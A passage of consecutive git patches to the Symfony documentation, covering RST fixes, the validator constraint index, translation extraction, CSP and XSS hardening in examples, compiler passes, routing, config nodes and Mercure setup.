+    $texter->send($message);
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 651bb5470fdc2e1dbde58e20345cccd571971bdf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 10:23:19 +0100
Subject: [PATCH 5122/5766] [Validation] Fix some RST syntax issue

---
 validation/sequence_provider.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 55ff96acda2..7d3663f45fc 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -360,15 +360,15 @@ entity, and even register the group provider as a service.
 
 Here's how you can achieve this:
 
- 1) **Define a Separate Group Provider Class:** create a class that implements
-    the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-    and handles the dynamic group sequence logic;
- 2) **Configure the User with the Provider:** use the ``provider`` option within
-    the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
-    attribute to link the entity with the provider class;
- 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
-    is enabled, your custom provider will be automatically linked. Otherwise, you must
-    :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
+#. **Define a Separate Group Provider Class:** create a class that implements
+   the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+   and handles the dynamic group sequence logic;
+#. **Configure the User with the Provider:** use the ``provider`` option within
+   the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+   attribute to link the entity with the provider class;
+#. **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
+   is enabled, your custom provider will be automatically linked. Otherwise, you must
+   :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
 
 .. configuration-block::
 

From e71f495ae4e9dd28260dca39f12764bec6e1e199 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 11:28:21 +0100
Subject: [PATCH 5123/5766] [Validator] Update the constraint index

---
 reference/constraints/map.rst.inc | 68 ++++++++++++++++++-------------
 1 file changed, 40 insertions(+), 28 deletions(-)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 58f519965d1..6c4d7f10936 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -4,53 +4,60 @@ Basic Constraints
 These are the basic constraints: use them to assert very basic things about
 the value of properties or the return value of methods on your object.
 
-* :doc:`NotBlank </reference/constraints/NotBlank>`
+.. class:: ui-list-two-columns
+
 * :doc:`Blank </reference/constraints/Blank>`
-* :doc:`NotNull </reference/constraints/NotNull>`
+* :doc:`IsFalse </reference/constraints/IsFalse>`
 * :doc:`IsNull </reference/constraints/IsNull>`
 * :doc:`IsTrue </reference/constraints/IsTrue>`
-* :doc:`IsFalse </reference/constraints/IsFalse>`
+* :doc:`NotBlank </reference/constraints/NotBlank>`
+* :doc:`NotNull </reference/constraints/NotNull>`
 * :doc:`Type </reference/constraints/Type>`
 
 String Constraints
 ~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`Cidr </reference/constraints/Cidr>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`Email </reference/constraints/Email>`
 * :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
-* :doc:`Length </reference/constraints/Length>`
-* :doc:`Url </reference/constraints/Url>`
-* :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
-* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
-* :doc:`Uuid </reference/constraints/Uuid>`
+* :doc:`Length </reference/constraints/Length>`
+* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Ulid </reference/constraints/Ulid>`
+* :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
-* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-* :doc:`CssColor </reference/constraints/CssColor>`
+* :doc:`Uuid </reference/constraints/Uuid>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`EqualTo </reference/constraints/EqualTo>`
-* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`GreaterThan </reference/constraints/GreaterThan>`
+* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
 * :doc:`IdenticalTo </reference/constraints/IdenticalTo>`
-* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`LessThan </reference/constraints/LessThan>`
 * :doc:`LessThanOrEqual </reference/constraints/LessThanOrEqual>`
-* :doc:`GreaterThan </reference/constraints/GreaterThan>`
-* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
+* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`Range </reference/constraints/Range>`
-* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`Unique </reference/constraints/Unique>`
 
 Number Constraints
 ~~~~~~~~~~~~~~~~~~
-* :doc:`Positive </reference/constraints/Positive>`
-* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
+
 * :doc:`Negative </reference/constraints/Negative>`
 * :doc:`NegativeOrZero </reference/constraints/NegativeOrZero>`
+* :doc:`Positive </reference/constraints/Positive>`
+* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
 
 Date Constraints
 ~~~~~~~~~~~~~~~~
@@ -64,9 +71,9 @@ Choice Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Choice </reference/constraints/Choice>`
+* :doc:`Country </reference/constraints/Country>`
 * :doc:`Language </reference/constraints/Language>`
 * :doc:`Locale </reference/constraints/Locale>`
-* :doc:`Country </reference/constraints/Country>`
 
 File Constraints
 ~~~~~~~~~~~~~~~~
@@ -77,33 +84,38 @@ File Constraints
 Financial and other Number Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-two-columns
+
 * :doc:`Bic </reference/constraints/Bic>`
 * :doc:`CardScheme </reference/constraints/CardScheme>`
 * :doc:`Currency </reference/constraints/Currency>`
-* :doc:`Luhn </reference/constraints/Luhn>`
 * :doc:`Iban </reference/constraints/Iban>`
 * :doc:`Isbn </reference/constraints/Isbn>`
-* :doc:`Issn </reference/constraints/Issn>`
 * :doc:`Isin </reference/constraints/Isin>`
+* :doc:`Issn </reference/constraints/Issn>`
+* :doc:`Luhn </reference/constraints/Luhn>`
 
 Doctrine Constraints
 ~~~~~~~~~~~~~~~~~~~~
 
-* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
-* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
 * :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
 
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`All </reference/constraints/All>`
 * :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>`
-* :doc:`Sequentially </reference/constraints/Sequentially>`
-* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
-* :doc:`Expression </reference/constraints/Expression>`
-* :doc:`All </reference/constraints/All>`
-* :doc:`Valid </reference/constraints/Valid>`
 * :doc:`Cascade </reference/constraints/Cascade>`
-* :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
+* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Count </reference/constraints/Count>`
+* :doc:`Expression </reference/constraints/Expression>`
+* :doc:`GroupSequence </validation/sequence_provider>`
+* :doc:`Sequentially </reference/constraints/Sequentially>`
+* :doc:`Traverse </reference/constraints/Traverse>`
+* :doc:`Valid </reference/constraints/Valid>`

From 942396b31b6dd1bb251c2027e0b093dc5c1a9b3f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 29 Oct 2024 16:47:41 +0100
Subject: [PATCH 5124/5766] document the translation:extract command's --prefix
 option

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 15c34460d86..3004c68d991 100644
--- a/translation.rst
+++ b/translation.rst
@@ -460,6 +460,15 @@ The ``translation:extract`` command looks for missing translations in:
     Support for extracting Translatable objects has been introduced in
     Symfony 5.3.
 
+By default, when the ``translation:extract`` command creates new entries in the
+translation file, it uses the same content as both the source and the pending
+translation. The only difference is that the pending translation is prefixed by
+``__``. You can customize this prefix using the ``--prefix`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console translation:extract --force --prefix="NEW_" fr
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 358ece7b1547c74ddb53e01ad81cfe7879fe21ef Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 30 Oct 2024 16:21:49 +0100
Subject: [PATCH 5125/5766] [AssetMapper] Document usage of `strict-dynamic` in
 a CSP

AssetMapper will include special importmap entries for CSS files, which
get resolved to `data:application/javascript`.
See https://symfony.com/doc/current/frontend/asset_mapper.html#handling-css.

Browsers will report those as CSP violations, as `data:` scripts can
also be used for XSS attacks. For the same reason, allowing `data:` in
the CSP is not a safe solution.

https://github.com/symfony/symfony/issues/58416#issuecomment-2383265152
provides a solution: using `strict-dynamic` in the `script-src` directive
will allow the importmap to include other resources.

This commit adds that solution to the documentation.
---
 frontend/asset_mapper.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1b0329d402d..b488fc76d11 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -402,6 +402,8 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
+.. _asset-mapper-handling-css:
+
 Handling CSS
 ------------
 
@@ -1103,6 +1105,24 @@ it in the CSP header, and then pass the same nonce to the Twig function:
     {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
     {{ importmap('app', {'nonce': csp_nonce('script')}) }}
 
+Content Security Policy and CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your importmap includes CSS files, AssetMapper uses a trick to load those by
+adding ``data:application/javascript`` to the rendered importmap (see
+:ref:`Handling CSS <asset-mapper-handling-css>`).
+This can cause browsers to report CSP violations and block the CSS files from
+being loaded.
+To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive
+of your Content Security Policy, to tell the browser that the importmap is
+allowed to load other resources.
+
+.. note::
+
+    When using ``strict-dynamic``, the browser will ignore any other sources in
+    ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other
+    ``<script>`` tags will also need to be trusted via a nonce.
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1186,5 +1206,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle

From 978a84aa63a28b228de42bde3251a8338f0bf523 Mon Sep 17 00:00:00 2001
From: kolossa <kolosssa@gmail.com>
Date: Wed, 30 Oct 2024 20:49:04 +0100
Subject: [PATCH 5126/5766] Add a 'Learn More' section to event dispatcher to
 easily find related content

---
 event_dispatcher.rst | 18 ++++++++++++++++++
 security.rst         |  6 ++++++
 2 files changed, 24 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ab3428f6cb0..b0280d64e72 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -814,3 +814,21 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
+
+
+Learn More
+----------
+
+Security
+~~~~~~~~
+
+- :ref:`Security Events <security-security-events>`
+- :ref:`Authentication Events <security-authentication-events>`
+- :ref:`Other Events <security-other-events>`
+
+Other
+~~~~~
+
+- :doc:`/reference/events`
+- :doc:`/components/event_dispatcher`
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
diff --git a/security.rst b/security.rst
index 84e4ebb7d75..12ca6ae727a 100644
--- a/security.rst
+++ b/security.rst
@@ -2590,6 +2590,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
 Then, your ``isEqualTo()`` method will be called when comparing users instead
 of the core logic.
 
+.. _security-security-events:
+
 Security Events
 ---------------
 
@@ -2657,6 +2659,8 @@ for these events.
                     ]);
             };
 
+.. _security-authentication-events:
+
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2691,6 +2695,8 @@ Authentication Events
     authentication. Listeners to this event can modify the error response
     sent back to the user.
 
+.. _security-other-events:
+
 Other Events
 ~~~~~~~~~~~~
 

From 2ff16f86c06053884b7643d18c65a579fa656112 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 31 Oct 2024 11:54:54 +0100
Subject: [PATCH 5127/5766] Fix XSS in example event dispatcher

---
 event_dispatcher.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ab3428f6cb0..0a41064ad79 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,7 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that
             // holds status code and header details

From 4f64f710d8c3b8c2ed3ef3bacd4ab0d8e091b35c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:10:32 +0100
Subject: [PATCH 5128/5766] Minor tweak

---
 event_dispatcher.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 0a41064ad79..64ccfa56da6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,8 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            // the exception message can contain unfiltered user input;
+            // set the content-type to text to avoid XSS issues
             $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that

From b92bd96513027eb350098a0eac3e6cf3887a9042 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:17:30 +0100
Subject: [PATCH 5129/5766] Tweak

---
 event_dispatcher.rst | 13 ++-----------
 1 file changed, 2 insertions(+), 11 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 826120a61e9..4baea527a77 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -822,16 +822,7 @@ That's it! Your subscriber should be called automatically (or read more about
 Learn More
 ----------
 
-Security
-~~~~~~~~
-
-- :ref:`Security Events <security-security-events>`
-- :ref:`Authentication Events <security-authentication-events>`
-- :ref:`Other Events <security-other-events>`
-
-Other
-~~~~~
-
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
 - :doc:`/reference/events`
+- :ref:`Security-related Events <security-security-events>`
 - :doc:`/components/event_dispatcher`
-- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`

From 77bb19fee49d206d84dc446ed68741dddd18f1bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:18:56 +0100
Subject: [PATCH 5130/5766] Minor tweak

---
 event_dispatcher.rst | 1 -
 security.rst         | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 4baea527a77..17449012eb3 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -818,7 +818,6 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
 
-
 Learn More
 ----------
 
diff --git a/security.rst b/security.rst
index 12ca6ae727a..4528d0d03b6 100644
--- a/security.rst
+++ b/security.rst
@@ -2659,8 +2659,6 @@ for these events.
                     ]);
             };
 
-.. _security-authentication-events:
-
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2695,8 +2693,6 @@ Authentication Events
     authentication. Listeners to this event can modify the error response
     sent back to the user.
 
-.. _security-other-events:
-
 Other Events
 ~~~~~~~~~~~~
 

From 4964d30026e054837f3d4b7962a2bc596d8c0428 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:36:51 +0100
Subject: [PATCH 5131/5766] Minor tweak

---
 frontend/asset_mapper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b488fc76d11..ad5b78b5e13 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1111,11 +1111,11 @@ Content Security Policy and CSS Files
 If your importmap includes CSS files, AssetMapper uses a trick to load those by
 adding ``data:application/javascript`` to the rendered importmap (see
 :ref:`Handling CSS <asset-mapper-handling-css>`).
+
 This can cause browsers to report CSP violations and block the CSS files from
-being loaded.
-To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive
-of your Content Security Policy, to tell the browser that the importmap is
-allowed to load other resources.
+being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src``
+directive of your Content Security Policy, to tell the browser that the importmap
+is allowed to load other resources.
 
 .. note::
 

From a18cae1f4869579c28b467f467862b0b661daadb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 17:04:03 +0100
Subject: [PATCH 5132/5766] [DependencyInjection] Update the article about
 compiler passes

---
 service_container/compiler_passes.rst | 80 ++++++++++++++++++---------
 1 file changed, 54 insertions(+), 26 deletions(-)

diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fc5728685e0..11458a4e8e3 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -3,53 +3,85 @@ How to Work with Compiler Passes
 
 Compiler passes give you an opportunity to manipulate other
 :doc:`service definitions </service_container/definitions>` that have been
-registered with the service container. You can read about how to create them in
-the components section ":ref:`components-di-separate-compiler-passes`".
+registered with the service container.
 
-Compiler passes are registered in the ``build()`` method of the application kernel::
+.. _kernel-as-compiler-pass:
+
+If your compiler pass is relatively small, you can define it inside the
+application's ``Kernel`` class instead of creating a
+:ref:`separate compiler pass class <components-di-separate-compiler-passes>`.
+
+To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and add the compiler pass code inside the ``process()`` method::
 
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
-            $container->addCompilerPass(new CustomPass());
+            // in this method you can manipulate the service container:
+            // for example, changing some container service:
+            $container->getDefinition('app.some_private_service')->setPublic(true);
+
+            // or processing tagged services:
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+                // ...
+            }
         }
     }
 
-.. _kernel-as-compiler-pass:
-
-One of the most common use-cases of compiler passes is to work with :doc:`tagged
-services </service_container/tags>`. In those cases, instead of creating a
-compiler pass, you can make the kernel implement
-:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
-and process the services inside the ``process()`` method::
+If you create separate compiler pass classes, enable them in the ``build()``
+method of the application kernel::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel implements CompilerPassInterface
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
         // ...
 
+        protected function build(ContainerBuilder $container): void
+        {
+            $container->addCompilerPass(new CustomPass());
+        }
+    }
+
+Working with Compiler Passes in Bundles
+---------------------------------------
+
+If your compiler pass is relatively small, you can add it directly in the main
+bundle class. To do so, make your bundle implement the
+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and place the compiler pass code inside the ``process()`` method of the main
+bundle class::
+
+    // src/MyBundle/MyBundle.php
+    namespace App\MyBundle;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class MyBundle extends AbstractBundle
+    {
         public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
@@ -63,12 +95,8 @@ and process the services inside the ``process()`` method::
         }
     }
 
-Working with Compiler Passes in Bundles
----------------------------------------
-
-:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of
-the main bundle class (this is not needed when implementing the ``process()``
-method in the extension)::
+Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`,
+bundles can enable them in the ``build()`` method of their main bundle class::
 
     // src/MyBundle/MyBundle.php
     namespace App\MyBundle;
@@ -88,7 +116,7 @@ method in the extension)::
     }
 
 If you are using custom :doc:`service tags </service_container/tags>` in a
-bundle then by convention, tag names consist of the name of the bundle
-(lowercase, underscores as separators), followed by a dot, and finally the
-"real" name. For example, if you want to introduce some sort of "transport" tag
-in your AcmeMailerBundle, you should call it ``acme_mailer.transport``.
+bundle, the convention is to format tag names by starting with the bundle's name
+in lowercase (using underscores as separators), followed by a dot, and finally
+the specific tag name. For example, to introduce a "transport" tag in your
+AcmeMailerBundle, you would name it ``acme_mailer.transport``.

From 08c14844bd84010d7bfcdab939305323044966d4 Mon Sep 17 00:00:00 2001
From: Toby Griffiths <toby@cubicmushroom.co.uk>
Date: Thu, 19 Sep 2024 19:29:44 +0100
Subject: [PATCH 5133/5766] [Routing] Add note on nuances of the Routing
 exclude config option

---
 routing.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 57a087b8cfa..682b96d9c42 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1439,7 +1439,7 @@ when importing the routes.
 
         # config/routes/attributes.yaml
         controllers:
-            resource: '../../src/Controller/'
+            resource: '../../src/Controller/**/*'
             type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
@@ -1455,6 +1455,9 @@ when importing the routes.
 
             # you can optionally exclude some files/subdirectories when loading attributes
             # (the value must be a string or an array of PHP glob patterns)
+            # NOTE: For now, this will only work if you are using the string, glob notation for the
+            #       resource value.  The array notation containing `path` & `namespace` will not work,
+            #       and neither will using a non-glob string like `'../src/Controller'`.
             # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml

From 99427cb25bfb91a4a66bbfb0cdd950d5fc19fce8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 17:39:09 +0100
Subject: [PATCH 5134/5766] Reword

---
 routing.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 682b96d9c42..e2ca7f1a1fe 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1439,7 +1439,7 @@ when importing the routes.
 
         # config/routes/attributes.yaml
         controllers:
-            resource: '../../src/Controller/**/*'
+            resource: '../../src/Controller/'
             type: attribute
             # this is added to the beginning of all imported route URLs
             prefix: '/blog'
@@ -1455,9 +1455,6 @@ when importing the routes.
 
             # you can optionally exclude some files/subdirectories when loading attributes
             # (the value must be a string or an array of PHP glob patterns)
-            # NOTE: For now, this will only work if you are using the string, glob notation for the
-            #       resource value.  The array notation containing `path` & `namespace` will not work,
-            #       and neither will using a non-glob string like `'../src/Controller'`.
             # exclude: '../../src/Controller/{Debug*Controller.php}'
 
     .. code-block:: xml
@@ -1523,6 +1520,12 @@ when importing the routes.
             ;
         };
 
+.. caution::
+
+    The ``exclude`` option only works when the ``resource`` value is a glob string.
+    If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
+    value will be ignored.
+
 In this example, the route of the ``index()`` action will be called ``blog_index``
 and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes

From d20ac34ac17254dc48a74ced515948a825ceae35 Mon Sep 17 00:00:00 2001
From: Raffaele Carelle <raffaele.carelle@algoritma.it>
Date: Mon, 4 Nov 2024 09:48:23 +0100
Subject: [PATCH 5135/5766] add stringNode documentation

---
 components/config/definition.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 929246fa915..05f64497a66 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -83,6 +83,12 @@ reflect the real structure of the configuration values::
             ->scalarNode('default_connection')
                 ->defaultValue('mysql')
             ->end()
+            ->stringNode('username')
+                ->defaultValue('root')
+            ->end()
+            ->stringNode('password')
+                ->defaultValue('root')
+            ->end()
         ->end()
     ;
 
@@ -100,6 +106,7 @@ node definition. Node types are available for:
 * scalar (generic type that includes booleans, strings, integers, floats
   and ``null``)
 * boolean
+* string
 * integer
 * float
 * enum (similar to scalar, but it only allows a finite set of values)

From d1bdedf1931c87ad3577f68ead3429f81cc16e41 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 7 Nov 2024 00:16:01 +0100
Subject: [PATCH 5136/5766] Update mercure.rst: Moving Mercure's prod hub
 further upwards

Page: https://symfony.com/doc/5.x/mercure.html

Reason: If people need Mercure's binary *in any case* (for prod), this should be mentioned first.
---
 mercure.rst | 35 +++++++++++++++++------------------
 1 file changed, 17 insertions(+), 18 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index bbc8771b82c..1cc413e6c5a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -48,13 +48,28 @@ Run this command to install the Mercure support:
 
     $ composer require mercure
 
+Running a Mercure Hub
+~~~~~~~~~~~~~~~~~~~~~
+
 To manage persistent connections, Mercure relies on a Hub: a dedicated server
 that handles persistent SSE connections with the clients.
 The Symfony app publishes the updates to the hub, that will broadcast them to
 clients.
 
+.. raw:: html
+
+    <object data="_images/mercure/hub.svg" type="image/svg+xml"
+        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
+    ></object>
+
+In production, you have to install a Mercure hub by yourself.
+An official and open source (AGPL) hub based on the Caddy web server
+can be downloaded as a static binary from `Mercure.rocks`_.
+A Docker image, a Helm chart for Kubernetes
+and a managed, High Availability Hub are also provided.
+
 Thanks to :doc:`the Docker integration of Symfony </setup/docker>`,
-:ref:`Flex <symfony-flex>` proposes to install a Mercure hub.
+:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development.
 Run ``docker-compose up`` to start the hub if you have chosen this option.
 
 If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
@@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option.
 
     $ symfony server:start --no-tls -d
 
-Running a Mercure Hub
-~~~~~~~~~~~~~~~~~~~~~
-
-.. raw:: html
-
-    <object data="_images/mercure/hub.svg" type="image/svg+xml"
-        alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
-    ></object>
-
-If you use the Docker integration, a hub is already up and running,
-and you can go straight to the next section.
-
-Otherwise, and in production, you have to install a hub by yourself.
-An official and open source (AGPL) Hub based on the Caddy web server
-can be downloaded as a static binary from `Mercure.rocks`_.
-A Docker image, a Helm chart for Kubernetes
-and a managed, High Availability Hub are also provided.
+If you use the Docker integration, a hub is already up and running.
 
 Configuration
 -------------

